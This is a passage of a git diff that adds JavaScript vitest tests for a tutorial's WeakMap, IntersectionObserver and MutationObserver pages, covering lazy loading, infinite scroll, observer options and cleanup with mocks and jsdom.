CASES + // ============================================================ + + describe('Edge Cases', () => { + it('should allow same object as key in multiple WeakMaps', () => { + const weakMap1 = new WeakMap() + const weakMap2 = new WeakMap() + const obj = { shared: true } + + weakMap1.set(obj, 'value1') + weakMap2.set(obj, 'value2') + + expect(weakMap1.get(obj)).toBe('value1') + expect(weakMap2.get(obj)).toBe('value2') + }) + + it('should allow same object in multiple WeakSets', () => { + const weakSet1 = new WeakSet() + const weakSet2 = new WeakSet() + const obj = { shared: true } + + weakSet1.add(obj) + weakSet2.add(obj) + + expect(weakSet1.has(obj)).toBe(true) + expect(weakSet2.has(obj)).toBe(true) + }) + + it('should distinguish similar-looking but different objects', () => { + const weakMap = new WeakMap() + + const obj1 = { x: 1 } + const obj2 = { x: 1 } + + weakMap.set(obj1, 'first') + weakMap.set(obj2, 'second') + + expect(weakMap.get(obj1)).toBe('first') + expect(weakMap.get(obj2)).toBe('second') + }) + + it('should handle WeakMap with function keys', () => { + const weakMap = new WeakMap() + + const fn1 = function() { return 1 } + const fn2 = function() { return 1 } + + weakMap.set(fn1, 'function1') + weakMap.set(fn2, 'function2') + + expect(weakMap.get(fn1)).toBe('function1') + expect(weakMap.get(fn2)).toBe('function2') + }) + + it('should handle WeakMap with array keys', () => { + const weakMap = new WeakMap() + + const arr1 = [1, 2, 3] + const arr2 = [1, 2, 3] + + weakMap.set(arr1, 'array1') + weakMap.set(arr2, 'array2') + + expect(weakMap.get(arr1)).toBe('array1') + expect(weakMap.get(arr2)).toBe('array2') + }) + + it('should handle updating existing keys', () => { + const weakMap = new WeakMap() + const obj = { id: 1 } + + weakMap.set(obj, 'initial') + expect(weakMap.get(obj)).toBe('initial') + + weakMap.set(obj, 'updated') + expect(weakMap.get(obj)).toBe('updated') + }) + + it('should handle adding same object to WeakSet multiple times', () => { + const weakSet = new WeakSet() + const obj = { id: 1 } + + weakSet.add(obj) + weakSet.add(obj) + weakSet.add(obj) + + // Still only one instance + expect(weakSet.has(obj)).toBe(true) + + weakSet.delete(obj) + expect(weakSet.has(obj)).toBe(false) + }) + }) +}) diff --git a/tests/beyond/observer-apis/intersection-observer/intersection-observer.dom.test.js b/tests/beyond/observer-apis/intersection-observer/intersection-observer.dom.test.js new file mode 100644 index 00000000..43f06fb2 --- /dev/null +++ b/tests/beyond/observer-apis/intersection-observer/intersection-observer.dom.test.js @@ -0,0 +1,375 @@ +/** + * @vitest-environment jsdom + */ + +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +/** + * DOM-specific tests for Intersection Observer concept page + * Source: /docs/beyond/concepts/intersection-observer.mdx + * + * These tests use jsdom with a mocked IntersectionObserver + */ + +class MockIntersectionObserver { + constructor(callback, options = {}) { + this.callback = callback + this.options = options + this.observedElements = [] + MockIntersectionObserver.instances.push(this) + } + + observe(element) { + this.observedElements.push(element) + this.callback([{ + target: element, + isIntersecting: false, + intersectionRatio: 0, + boundingClientRect: element.getBoundingClientRect(), + intersectionRect: { top: 0, left: 0, width: 0, height: 0 }, + rootBounds: null, + time: performance.now() + }], this) + } + + unobserve(element) { + const index = this.observedElements.indexOf(element) + if (index > -1) { + this.observedElements.splice(index, 1) + } + } + + disconnect() { + this.observedElements = [] + } + + takeRecords() { + return [] + } + + triggerIntersection(entries) { + this.callback(entries, this) + } + + static instances = [] + static clearInstances() { + this.instances = [] + } +} + +describe('Intersection Observer (DOM)', () => { + let originalIntersectionObserver + + beforeEach(() => { + originalIntersectionObserver = global.IntersectionObserver + global.IntersectionObserver = MockIntersectionObserver + MockIntersectionObserver.clearInstances() + document.body.innerHTML = '' + }) + + afterEach(() => { + global.IntersectionObserver = originalIntersectionObserver + document.body.innerHTML = '' + }) + + describe('Basic Observer Creation', () => { + it('should create observer with callback and options', () => { + const callback = vi.fn() + const options = { + root: null, + rootMargin: '100px', + threshold: 0.5 + } + + const observer = new IntersectionObserver(callback, options) + + expect(observer.options.rootMargin).toBe('100px') + expect(observer.options.threshold).toBe(0.5) + }) + + it('should observe multiple elements with single observer', () => { + const callback = vi.fn() + const observer = new IntersectionObserver(callback) + + const el1 = document.createElement('div') + const el2 = document.createElement('div') + const el3 = document.createElement('div') + + observer.observe(el1) + observer.observe(el2) + observer.observe(el3) + + expect(observer.observedElements.length).toBe(3) + }) + }) + + describe('Lazy Loading Implementation', () => { + it('should implement lazy loading pattern from MDX', () => { + const img = document.createElement('img') + img.dataset.src = 'real-image.jpg' + img.classList.add('lazy') + document.body.appendChild(img) + + const loadedImages = [] + + const observer = new IntersectionObserver((entries, obs) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + const imgEl = entry.target + imgEl.src = imgEl.dataset.src + imgEl.classList.remove('lazy') + imgEl.classList.add('loaded') + loadedImages.push(imgEl) + obs.unobserve(imgEl) + } + }) + }, { rootMargin: '100px 0px', threshold: 0 }) + + observer.observe(img) + + observer.triggerIntersection([{ + target: img, + isIntersecting: true, + intersectionRatio: 0.5 + }]) + + expect(img.src).toContain('real-image.jpg') + expect(img.classList.contains('loaded')).toBe(true) + expect(img.classList.contains('lazy')).toBe(false) + expect(loadedImages.length).toBe(1) + expect(observer.observedElements.length).toBe(0) + }) + }) + + describe('Scroll Animation Implementation', () => { + it('should add animated class when element intersects', () => { + const element = document.createElement('div') + element.classList.add('animate-on-scroll') + document.body.appendChild(element) + + const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + entry.target.classList.add('animated') + } + }) + }, { threshold: 0.2 }) + + observer.observe(element) + + expect(element.classList.contains('animated')).toBe(false) + + observer.triggerIntersection([{ + target: element, + isIntersecting: true, + intersectionRatio: 0.5 + }]) + + expect(element.classList.contains('animated')).toBe(true) + }) + + it('should toggle animation class when animateOnce is false', () => { + const element = document.createElement('div') + document.body.appendChild(element) + + const animateOnce = false + + const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + entry.target.classList.add('animated') + } else if (!animateOnce) { + entry.target.classList.remove('animated') + } + }) + }) + + observer.observe(element) + + observer.triggerIntersection([{ target: element, isIntersecting: true }]) + expect(element.classList.contains('animated')).toBe(true) + + observer.triggerIntersection([{ target: element, isIntersecting: false }]) + expect(element.classList.contains('animated')).toBe(false) + }) + }) + + describe('Infinite Scroll Implementation', () => { + it('should detect sentinel element for infinite scroll', () => { + const content = document.createElement('div') + content.id = 'content' + const sentinel = document.createElement('div') + sentinel.id = 'sentinel' + document.body.appendChild(content) + document.body.appendChild(sentinel) + + let loadMoreCalled = false + + const observer = new IntersectionObserver((entries) => { + const entry = entries[0] + if (entry.isIntersecting) { + loadMoreCalled = true + } + }, { rootMargin: '200px' }) + + observer.observe(sentinel) + + observer.triggerIntersection([{ + target: sentinel, + isIntersecting: true, + intersectionRatio: 1 + }]) + + expect(loadMoreCalled).toBe(true) + }) + }) + + describe('Observer Cleanup', () => { + it('should unobserve element after handling', () => { + const element = document.createElement('div') + document.body.appendChild(element) + + const observer = new IntersectionObserver((entries, obs) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + obs.unobserve(entry.target) + } + }) + }) + + observer.observe(element) + expect(observer.observedElements.length).toBe(1) + + observer.triggerIntersection([{ + target: element, + isIntersecting: true + }]) + + expect(observer.observedElements.length).toBe(0) + }) + + it('should disconnect all observations', () => { + const el1 = document.createElement('div') + const el2 = document.createElement('div') + document.body.appendChild(el1) + document.body.appendChild(el2) + + const observer = new IntersectionObserver(vi.fn()) + + observer.observe(el1) + observer.observe(el2) + expect(observer.observedElements.length).toBe(2) + + observer.disconnect() + expect(observer.observedElements.length).toBe(0) + }) + }) + + describe('Callback Behavior', () => { + it('should fire callback immediately when observe() is called', () => { + const element = document.createElement('div') + document.body.appendChild(element) + + const callback = vi.fn() + const observer = new IntersectionObserver(callback) + + observer.observe(element) + + expect(callback).toHaveBeenCalledTimes(1) + }) + + it('should provide observer reference in callback', () => { + const element = document.createElement('div') + document.body.appendChild(element) + + let receivedObserver = null + + const observer = new IntersectionObserver((entries, obs) => { + receivedObserver = obs + }) + + observer.observe(element) + + expect(receivedObserver).toBe(observer) + }) + + it('should provide entry with correct target', () => { + const element = document.createElement('div') + element.id = 'test-target' + document.body.appendChild(element) + + let receivedTarget = null + + const observer = new IntersectionObserver((entries) => { + receivedTarget = entries[0].target + }) + + observer.observe(element) + + expect(receivedTarget).toBe(element) + expect(receivedTarget.id).toBe('test-target') + }) + }) + + describe('Section Navigation Pattern', () => { + it('should highlight active nav link based on visible section', () => { + const nav = document.createElement('nav') + nav.innerHTML = ` + <a href="#section1">Section 1</a> + <a href="#section2">Section 2</a> + <a href="#section3">Section 3</a> + ` + document.body.appendChild(nav) + + const section1 = document.createElement('section') + section1.id = 'section1' + const section2 = document.createElement('section') + section2.id = 'section2' + document.body.appendChild(section1) + document.body.appendChild(section2) + + const navLinks = nav.querySelectorAll('a') + + const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + navLinks.forEach(link => link.classList.remove('active')) + const activeLink = nav.querySelector(`a[href="#${entry.target.id}"]`) + if (activeLink) { + activeLink.classList.add('active') + } + } + }) + }, { threshold: 0.5 }) + + observer.observe(section1) + observer.observe(section2) + + observer.triggerIntersection([{ + target: section2, + isIntersecting: true, + intersectionRatio: 0.6 + }]) + + const activeLink = nav.querySelector('a.active') + expect(activeLink.getAttribute('href')).toBe('#section2') + }) + }) + + describe('Feature Detection', () => { + it('should detect IntersectionObserver support', () => { + expect('IntersectionObserver' in window).toBe(true) + }) + + it('should handle missing IntersectionObserver gracefully', () => { + const originalIO = global.IntersectionObserver + delete global.IntersectionObserver + + const hasSupport = 'IntersectionObserver' in global + + expect(hasSupport).toBe(false) + + global.IntersectionObserver = originalIO + }) + }) +}) diff --git a/tests/beyond/observer-apis/intersection-observer/intersection-observer.test.js b/tests/beyond/observer-apis/intersection-observer/intersection-observer.test.js new file mode 100644 index 00000000..5cb78730 --- /dev/null +++ b/tests/beyond/observer-apis/intersection-observer/intersection-observer.test.js @@ -0,0 +1,426 @@ +/** + * Tests for Intersection Observer concept page + * Source: /docs/beyond/concepts/intersection-observer.mdx + * + * Note: Intersection Observer is a browser API that cannot be fully tested + * without a real browser environment. These tests verify the concepts and + * patterns described in the documentation using mocks and simulated behavior. + */ + +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +describe('Intersection Observer Concepts', () => { + describe('IntersectionObserverEntry Properties', () => { + // MDX lines ~105-130: IntersectionObserverEntry Properties table + it('should understand entry property types', () => { + // Simulating the shape of IntersectionObserverEntry + const mockEntry = { + target: { id: 'test-element' }, // Element being observed + isIntersecting: true, // boolean + intersectionRatio: 0.5, // number (0.0 to 1.0) + boundingClientRect: { top: 100, left: 0, width: 200, height: 100 }, + intersectionRect: { top: 100, left: 0, width: 200, height: 50 }, + rootBounds: { top: 0, left: 0, width: 800, height: 600 }, + time: 1234567890.123 // DOMHighResTimeStamp + } + + expect(typeof mockEntry.target).toBe('object') + expect(typeof mockEntry.isIntersecting).toBe('boolean') + expect(typeof mockEntry.intersectionRatio).toBe('number') + expect(mockEntry.intersectionRatio).toBeGreaterThanOrEqual(0) + expect(mockEntry.intersectionRatio).toBeLessThanOrEqual(1) + expect(typeof mockEntry.time).toBe('number') + }) + + // MDX lines ~125-135: intersectionRatio calculation + it('should calculate visibility percentage from intersectionRatio', () => { + const intersectionRatio = 0.75 + const visibilityPercent = Math.round(intersectionRatio * 100) + '%' + + expect(visibilityPercent).toBe('75%') + }) + }) + + describe('Observer Options Validation', () => { + // MDX lines ~140-165: The root Option + it('should understand root option defaults', () => { + const defaultOptions = { + root: null, // viewport by default + rootMargin: '0px', // no margin by default + threshold: 0 // any pixel visible by default + } + + expect(defaultOptions.root).toBeNull() + expect(defaultOptions.rootMargin).toBe('0px') + expect(defaultOptions.threshold).toBe(0) + }) + + // MDX lines ~180-215: The rootMargin Option + it('should understand rootMargin string format', () => { + // rootMargin follows CSS margin format + const validMargins = [ + '100px', // All sides + '100px 0px', // top/bottom, left/right + '100px 0px 100px 0px', // top, right, bottom, left + '-50px', // Negative margins shrink + '0px 0px -50%', // Percentages work + '200px 0px 200px 0px' // Large buffer for preloading + ] + + validMargins.forEach(margin => { + expect(typeof margin).toBe('string') + }) + }) + + // MDX lines ~220-260: The threshold Option + it('should accept single threshold values', () => { + const singleThresholds = [0, 0.5, 1.0] + + singleThresholds.forEach(threshold => { + expect(threshold).toBeGreaterThanOrEqual(0) + expect(threshold).toBeLessThanOrEqual(1) + }) + }) + + it('should accept array of threshold values', () => { + const thresholdArray = [0, 0.25, 0.5, 0.75, 1.0] + + expect(Array.isArray(thresholdArray)).toBe(true) + thresholdArray.forEach(threshold => { + expect(threshold).toBeGreaterThanOrEqual(0) + expect(threshold).toBeLessThanOrEqual(1) + }) + }) + }) + + describe('Lazy Loading Pattern Logic', () => { + // MDX lines ~315-365: Implementing Lazy Loading Images + it('should swap data-src to src pattern', () => { + const mockImage = { + src: 'placeholder.svg', + dataset: { src: 'real-image.jpg', srcset: 'image-1x.jpg 1x, image-2x.jpg 2x' }, + classList: { + removed: [], + added: [], + remove(cls) { this.removed.push(cls) }, + add(cls) { this.added.push(cls) } + } + } + + // Simulate lazy loading logic + function lazyLoadImage(img) { + img.src = img.dataset.src + if (img.dataset.srcset) { + img.srcset = img.dataset.srcset + } + img.classList.remove('lazy') + img.classList.add('loaded') + } + + lazyLoadImage(mockImage) + + expect(mockImage.src).toBe('real-image.jpg') + expect(mockImage.srcset).toBe('image-1x.jpg 1x, image-2x.jpg 2x') + expect(mockImage.classList.removed).toContain('lazy') + expect(mockImage.classList.added).toContain('loaded') + }) + }) + + describe('Infinite Scroll Pattern Logic', () => { + // MDX lines ~385-440: Building Infinite Scroll + it('should track loading state to prevent duplicate requests', async () => { + let isLoading = false + let page = 1 + const fetchCalls = [] + + async function loadMoreContent() { + if (isLoading) return // Prevent duplicate calls + + isLoading = true + fetchCalls.push(page) + page++ + + // Simulate async fetch + await new Promise(resolve => setTimeout(resolve, 10)) + isLoading = false + } + + // Simulate rapid scroll events (should only trigger one load) + await Promise.all([ + loadMoreContent(), + loadMoreContent(), + loadMoreContent() + ]) + + // Only one fetch should have happened due to isLoading guard + expect(fetchCalls.length).toBe(1) + expect(page).toBe(2) + }) + + it('should stop observing when no more content', () => { + let observing = true + const posts = [] // Empty array = no more content + + function handleIntersection() { + if (posts.length === 0) { + observing = false // Stop observing + return + } + } + + handleIntersection() + expect(observing).toBe(false) + }) + }) + + describe('Scroll Animation Pattern Logic', () => { + // MDX lines ~455-500: Scroll-Triggered Animations + it('should create reusable animation observer factory', () => { + function createScrollAnimator(options = {}) { + const { + threshold = 0.2, + rootMargin = '0px', + animateOnce = true, + animatedClass = 'animated' + } = options + + return { threshold, rootMargin, animateOnce, animatedClass } + } + + const defaultAnimator = createScrollAnimator() + expect(defaultAnimator.threshold).toBe(0.2) + expect(defaultAnimator.rootMargin).toBe('0px') + expect(defaultAnimator.animateOnce).toBe(true) + expect(defaultAnimator.animatedClass).toBe('animated') + + const customAnimator = createScrollAnimator({ + threshold: 0.5, + animateOnce: false + }) + expect(customAnimator.threshold).toBe(0.5) + expect(customAnimator.animateOnce).toBe(false) + }) + }) + + describe('Cleanup Patterns', () => { + // MDX lines ~605-650: The #1 Intersection Observer Mistake + it('should demonstrate cleanup function pattern', () => { + let disconnected = false + + function setupObserver() { + const mockObserver = { + observe: vi.fn(), + unobserve: vi.fn(), + disconnect: () => { disconnected = true } + } + + // Return cleanup function + return () => mockObserver.disconnect() + } + + const cleanup = setupObserver() + expect(disconnected).toBe(false) + + cleanup() // Simulate component unmount + expect(disconnected).toBe(true) + }) + + it('should unobserve after lazy loading', () => { + const unobservedElements = [] + + const mockObserver = { + unobserve: (element) => unobservedElements.push(element) + } + + // Simulate lazy load callback + function handleIntersection(entry, observer) { + if (entry.isIntersecting) { + // Load image... + observer.unobserve(entry.target) + } + } + + const mockEntry = { isIntersecting: true, target: { id: 'img1' } } + handleIntersection(mockEntry, mockObserver) + + expect(unobservedElements).toContainEqual({ id: 'img1' }) + }) + }) + + describe('Visibility Detection Logic', () => { + // MDX lines ~30-60: isIntersecting vs intersectionRatio + it('should use isIntersecting for simple visibility checks', () => { + const entries = [ + { isIntersecting: true, intersectionRatio: 0.5 }, + { isIntersecting: false, intersectionRatio: 0 }, + { isIntersecting: true, intersectionRatio: 1.0 } + ] + + const visibleEntries = entries.filter(e => e.isIntersecting) + expect(visibleEntries.length).toBe(2) + }) + + it('should use intersectionRatio for progressive visibility tracking', () => { + const entry = { intersectionRatio: 0.75 } + + // Ad viewability: count impression when 50%+ visible + const isViewable = entry.intersectionRatio >= 0.5 + expect(isViewable).toBe(true) + + // Progress tracking + const percentVisible = Math.round(entry.intersectionRatio * 100) + expect(percentVisible).toBe(75) + }) + }) + + describe('Threshold Behavior', () => { + // MDX lines ~220-260: threshold option behavior + it('should understand threshold 0 triggers on any visibility', () => { + // threshold: 0 means callback fires when target touches root boundary + const callback = vi.fn() + + // Simulate entries at threshold 0 + const entryJustVisible = { intersectionRatio: 0.01, isIntersecting: true } + + // Even 1% visible should trigger with threshold: 0 + if (entryJustVisible.isIntersecting) { + callback(entryJustVisible) + } + + expect(callback).toHaveBeenCalled() + }) + + it('should understand threshold 1.0 requires full visibility', () => { + // threshold: 1.0 means callback fires only when 100% visible + const threshold = 1.0 + + const partiallyVisible = { intersectionRatio: 0.9 } + const fullyVisible = { intersectionRatio: 1.0 } + + expect(partiallyVisible.intersectionRatio >= threshold).toBe(false) + expect(fullyVisible.intersectionRatio >= threshold).toBe(true) + }) + + it('should warn about threshold 1.0 with tall elements', () => { + // If element is taller than viewport, it can never be 100% visible + const elementHeight = 1200 // pixels + const viewportHeight = 800 // pixels + + const canBeFullyVisible = elementHeight <= viewportHeight + expect(canBeFullyVisible).toBe(false) + + // In this case, use a lower threshold or check intersectionRatio + const practicalThreshold = 0.8 + expect(practicalThreshold).toBeLessThan(1.0) + }) + }) + + describe('Common Mistakes Prevention', () => { + // MDX lines ~680-750: Common Mistakes section + it('Mistake 2: should use single observer for multiple elements', () => { + const observers = [] + const elements = ['el1', 'el2', 'el3', 'el4', 'el5'] + + // BAD: Creating new observer for each element + function badPattern() { + elements.forEach(el => { + observers.push({ target: el }) + }) + return observers.length + } + + // GOOD: One observer watching many elements + function goodPattern() { + const singleObserver = { targets: [] } + elements.forEach(el => { + singleObserver.targets.push(el) + }) + return 1 // Just one observer + } + + expect(badPattern()).toBe(5) // 5 "observers" + expect(goodPattern()).toBe(1) // 1 observer + }) + + it('Mistake 3: should check isIntersecting in callback', () => { + // Callback fires immediately on observe() call + const entriesReceived = [] + + function handleEntries(entries) { + entries.forEach(entry => { + // WRONG: Assuming callback only fires when visible + // loadImage(entry.target) // Would load all images immediately! + + // RIGHT: Check isIntersecting first + if (entry.isIntersecting) { + entriesReceived.push(entry) + } + }) + } + + // Initial callback with non-intersecting elements + const initialEntries = [ + { isIntersecting: false, target: 'img1' }, + { isIntersecting: false, target: 'img2' }, + { isIntersecting: true, target: 'img3' } + ] + + handleEntries(initialEntries) + expect(entriesReceived.length).toBe(1) // Only img3 + }) + }) + + describe('Feature Detection', () => { + // MDX lines ~775-790: Browser Support + it('should demonstrate feature detection pattern', () => { + // Simulate browser without IntersectionObserver + const windowWithoutIO = {} + const windowWithIO = { IntersectionObserver: function() {} } + + function hasIntersectionObserver(win) { + return 'IntersectionObserver' in win + } + + expect(hasIntersectionObserver(windowWithoutIO)).toBe(false) + expect(hasIntersectionObserver(windowWithIO)).toBe(true) + }) + }) + + describe('Key Takeaways Validation', () => { + // MDX lines ~800-830: Key Takeaways + it('Takeaway 1: Observer is more performant than scroll events', () => { + // Scroll events fire 60+ times per second + // IntersectionObserver only fires when visibility changes + const scrollEventFrequency = 60 // per second + const observerCallsPerVisibilityChange = 1 + + expect(scrollEventFrequency).toBeGreaterThan(observerCallsPerVisibilityChange) + }) + + it('Takeaway 4: One observer can watch many elements', () => { + const observedElements = [] + const mockObserver = { + observe: (el) => observedElements.push(el) + } + + // Can observe multiple elements with single observer + const elements = ['el1', 'el2', 'el3'] + elements.forEach(el => mockObserver.observe(el)) + + expect(observedElements.length).toBe(3) + }) + + it('Takeaway 6: rootMargin enables preloading', () => { + // Positive margin = detect before visible + const preloadMargin = '100px' + + // Element at position 700px from top of viewport (800px height) + // With rootMargin: 100px, detection happens at 800 + 100 = 900px + const viewportHeight = 800 + const marginValue = 100 + const effectiveDetectionArea = viewportHeight + marginValue + + expect(effectiveDetectionArea).toBe(900) + }) + }) +}) diff --git a/tests/beyond/observer-apis/mutation-observer/mutation-observer.dom.test.js b/tests/beyond/observer-apis/mutation-observer/mutation-observer.dom.test.js new file mode 100644 index 00000000..3248ec3c --- /dev/null +++ b/tests/beyond/observer-apis/mutation-observer/mutation-observer.dom.test.js @@ -0,0 +1,665 @@ +/** + * @vitest-environment jsdom + */ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +// ============================================================ +// MUTATIONOBSERVER TESTS +// From mutation-observer.mdx +// ============================================================ + +describe('MutationObserver', () => { + let container + let observer + + beforeEach(() => { + container = document.createElement('div') + container.id = 'test-container' + document.body.appendChild(container) + }) + + afterEach(() => { + if (observer) { + observer.disconnect() + observer = null + } + document.body.innerHTML = '' + vi.restoreAllMocks() + }) + + // ============================================================ + // CREATING A MUTATIONOBSERVER + // From mutation-observer.mdx lines 75-120 + // ============================================================ + + describe('Creating a MutationObserver', () => { + // From lines 75-85: Basic observer creation + it('should create observer with callback', () => { + const callback = vi.fn() + observer = new MutationObserver(callback) + + expect(observer).toBeInstanceOf(MutationObserver) + }) + + // From lines 90-98: Observer receives mutations array + it('should call callback with mutations array when changes occur', async () => { + const mutations = [] + + observer = new MutationObserver((mutationList) => { + mutations.push(...mutationList) + }) + + observer.observe(container, { childList: true }) + + container.appendChild(document.createElement('span')) + + // Wait for microtask + await Promise.resolve() + + expect(mutations.length).toBe(1) + expect(mutations[0].type).toBe('childList') + }) + + // From lines 100-115: Processing mutation types + it('should report correct mutation type for childList changes', async () => { + let mutationType = null + + observer = new MutationObserver((mutations) => { + mutationType = mutations[0].type + }) + + observer.observe(container, { childList: true }) + container.appendChild(document.createElement('div')) + + await Promise.resolve() + + expect(mutationType).toBe('childList') + }) + + it('should report correct mutation type for attribute changes', async () => { + let mutationType = null + let attributeName = null + + observer = new MutationObserver((mutations) => { + mutationType = mutations[0].type + attributeName = mutations[0].attributeName + }) + + observer.observe(container, { attributes: true }) + container.setAttribute('data-test', 'value') + + await Promise.resolve() + + expect(mutationType).toBe('attributes') + expect(attributeName).toBe('data-test') + }) + }) + + // ============================================================ + // CONFIGURATION OPTIONS + // From mutation-observer.mdx lines 130-220 + // ============================================================ + + describe('Configuration Options', () => { + // From lines 140-155: childList option + describe('childList option', () => { + it('should detect added nodes', async () => { + const addedNodes = [] + + observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + addedNodes.push(...mutation.addedNodes) + } + }) + + observer.observe(container, { childList: true }) + + const newElement = document.createElement('span') + container.appendChild(newElement) + + await Promise.resolve() + + expect(addedNodes).toContain(newElement) + }) + + it('should detect removed nodes', async () => { + const child = document.createElement('span') + container.appendChild(child) + + const removedNodes = [] + + observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + removedNodes.push(...mutation.removedNodes) + } + }) + + observer.observe(container, { childList: true }) + container.removeChild(child) + + await Promise.resolve() + + expect(removedNodes).toContain(child) + }) + + it('should detect innerHTML changes', async () => { + let mutationCount = 0 + + observer = new MutationObserver((mutations) => { + mutationCount = mutations.length + }) + + observer.observe(container, { childList: true }) + container.innerHTML = '<p>New content</p>' + + await Promise.resolve() + + expect(mutationCount).toBeGreaterThan(0) + }) + }) + + // From lines 160-180: attributes option + describe('attributes option', () => { + it('should detect setAttribute changes', async () => { + let changedAttribute = null + + observer = new MutationObserver((mutations) => { + changedAttribute = mutations[0].attributeName + }) + + observer.observe(container, { attributes: true }) + container.setAttribute('data-active', 'true') + + await Promise.resolve() + + expect(changedAttribute).toBe('data-active') + }) + + it('should detect classList changes', async () => { + let changedAttribute = null + + observer = new MutationObserver((mutations) => { + changedAttribute = mutations[0].attributeName + }) + + observer.observe(container, { attributes: true }) + container.classList.add('highlight') + + await Promise.resolve() + + expect(changedAttribute).toBe('class') + }) + + it('should detect id changes', async () => { + let changedAttribute = null + + observer = new MutationObserver((mutations) => { + changedAttribute = mutations[0].attributeName + }) + + observer.observe(container, { attributes: true }) + container.id = 'new-id' + + await Promise.resolve() + + expect(changedAttribute).toBe('id') + }) + }) + + // From lines 185-200: attributeFilter option + describe('attributeFilter option', () => { + it('should only observe specified attributes', async () => { + const observedAttributes = [] + + observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + observedAttributes.push(mutation.attributeName) + } + }) + + observer.observe(container, { + attributes: true, + attributeFilter: ['class', 'data-state'] + }) + + container.classList.toggle('active') + container.dataset.state = 'loading' + container.setAttribute('title', 'Hello') // Should NOT be observed + + await Promise.resolve() + + expect(observedAttributes).toContain('class') + expect(observedAttributes).toContain('data-state') + expect(observedAttributes).not.toContain('title') + }) + }) + + // From lines 205-220: attributeOldValue option + describe('attributeOldValue option', () => { + it('should include old value when attributeOldValue is true', async () => { + container.setAttribute('data-value', 'original') + + let oldValue = null + let newValue = null + + observer = new MutationObserver((mutations) => { + oldValue = mutations[0].oldValue + newValue = mutations[0].target.getAttribute(mutations[0].attributeName) + }) + + observer.observe(container, { + attributes: true, + attributeOldValue: true + }) + + container.setAttribute('data-value', 'updated') + + await Promise.resolve() + + expect(oldValue).toBe('original') + expect(newValue).toBe('updated') + }) + }) + }) + + // ============================================================ + // SUBTREE OPTION + // From mutation-observer.mdx lines 280-320 + // ============================================================ + + describe('Subtree Option', () => { + // From lines 285-300: Without subtree + it('should only observe direct children without subtree option', async () => { + const child = document.createElement('div') + const grandchild = document.createElement('span') + child.appendChild(grandchild) + container.appendChild(child) + + const mutations = [] + + observer = new MutationObserver((mutationList) => { + mutations.push(...mutationList) + }) + + // Observe WITHOUT subtree + observer.observe(container, { childList: true }) + + // Add to grandchild - should NOT trigger + grandchild.appendChild(document.createElement('p')) + + await Promise.resolve() + + // No mutations expected since we're not watching subtree + expect(mutations.length).toBe(0) + }) + + // From lines 305-320: With subtree + it('should observe all descendants with subtree option', async () => { + const child = document.createElement('div') + const grandchild = document.createElement('span') + child.appendChild(grandchild) + container.appendChild(child) + + const mutations = [] + + observer = new MutationObserver((mutationList) => { + mutations.push(...mutationList) + }) + + // Observe WITH subtree + observer.observe(container, { childList: true, subtree: true }) + + // Add to grandchild - SHOULD trigger + grandchild.appendChild(document.createElement('p')) + + await Promise.resolve() + + expect(mutations.length).toBe(1) + expect(mutations[0].target).toBe(grandchild) + }) + }) + + // ============================================================ + // MUTATIONRECORD PROPERTIES + // From mutation-observer.mdx lines 230-275 + // ============================================================ + + describe('MutationRecord Properties', () => { + // From lines 240-260: addedNodes and removedNodes + it('should provide addedNodes in mutation record', async () => { + let record = null + + observer = new MutationObserver((mutations) => { + record = mutations[0] + }) + + observer.observe(container, { childList: true }) + + const newElement = document.createElement('p') + container.appendChild(newElement) + + await Promise.resolve() + + expect(record.addedNodes.length).toBe(1) + expect(record.addedNodes[0]).toBe(newElement) + expect(record.removedNodes.length).toBe(0) + }) + + it('should provide removedNodes in mutation record', async () => { + const child = document.createElement('p') + container.appendChild(child) + + let record = null + + observer = new MutationObserver((mutations) => { + record = mutations[0] + }) + + observer.observe(container, { childList: true }) + container.removeChild(child) + + await Promise.resolve() + + expect(record.removedNodes.length).toBe(1) + expect(record.removedNodes[0]).toBe(child) + expect(record.addedNodes.length).toBe(0) + }) + + // From lines 265-275: target property + it('should provide target element in mutation record', async () => { + let target = null + + observer = new MutationObserver((mutations) => { + target = mutations[0].target + }) + + observer.observe(container, { attributes: true }) + container.setAttribute('data-test', 'value') + + await Promise.resolve() + + expect(target).toBe(container) + }) + }) + + // ============================================================ + // DISCONNECTING AND CLEANUP + // From mutation-observer.mdx lines 330-380 + // ============================================================ + + describe('Disconnecting and Cleanup', () => { + // From lines 335-345: disconnect() method + it('should stop observing after disconnect()', async () => { + let mutationCount = 0 + + observer = new MutationObserver(() => { + mutationCount++ + }) + + observer.observe(container, { childList: true }) + + // First change - should be observed + container.appendChild(document.createElement('span')) + await Promise.resolve() + expect(mutationCount).toBe(1) + + // Disconnect + observer.disconnect() + + // Second change - should NOT be observed + container.appendChild(document.createElement('span')) + await Promise.resolve() + expect(mutationCount).toBe(1) // Still 1, not 2 + }) + + // From lines 350-365: takeRecords() method + it('should return pending mutations with takeRecords()', async () => { + const callbackMutations = [] + + observer = new MutationObserver((mutations) => { + callbackMutations.push(...mutations) + }) + + observer.observe(container, { childList: true }) + + // Make changes + container.appendChild(document.createElement('span')) + container.appendChild(document.createElement('div')) + + // Get pending mutations before they're delivered to callback + const pendingMutations = observer.takeRecords() + + // These mutations are now "taken" and won't be delivered to callback + await Promise.resolve() + + expect(pendingMutations.length).toBe(2) + expect(callbackMutations.length).toBe(0) // Callback never received them + }) + }) + + // ============================================================ + // FILTERING NODE TYPES + // From mutation-observer.mdx lines 440-470 (Common Mistakes) + // ============================================================ + + describe('Filtering Node Types', () => { + // From lines 445-465: Filter for elements only + it('should include text nodes in addedNodes', async () => { + const addedNodes = [] + + observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + addedNodes.push(...mutation.addedNodes) + } + }) + + observer.observe(container, { childList: true }) + + // This adds a text node, not an element + container.textContent = 'Hello' + + await Promise.resolve() + + // Should have a text node + const hasTextNode = addedNodes.some(node => node.nodeType === Node.TEXT_NODE) + expect(hasTextNode).toBe(true) + }) + + it('should be able to filter for elements only', async () => { + const 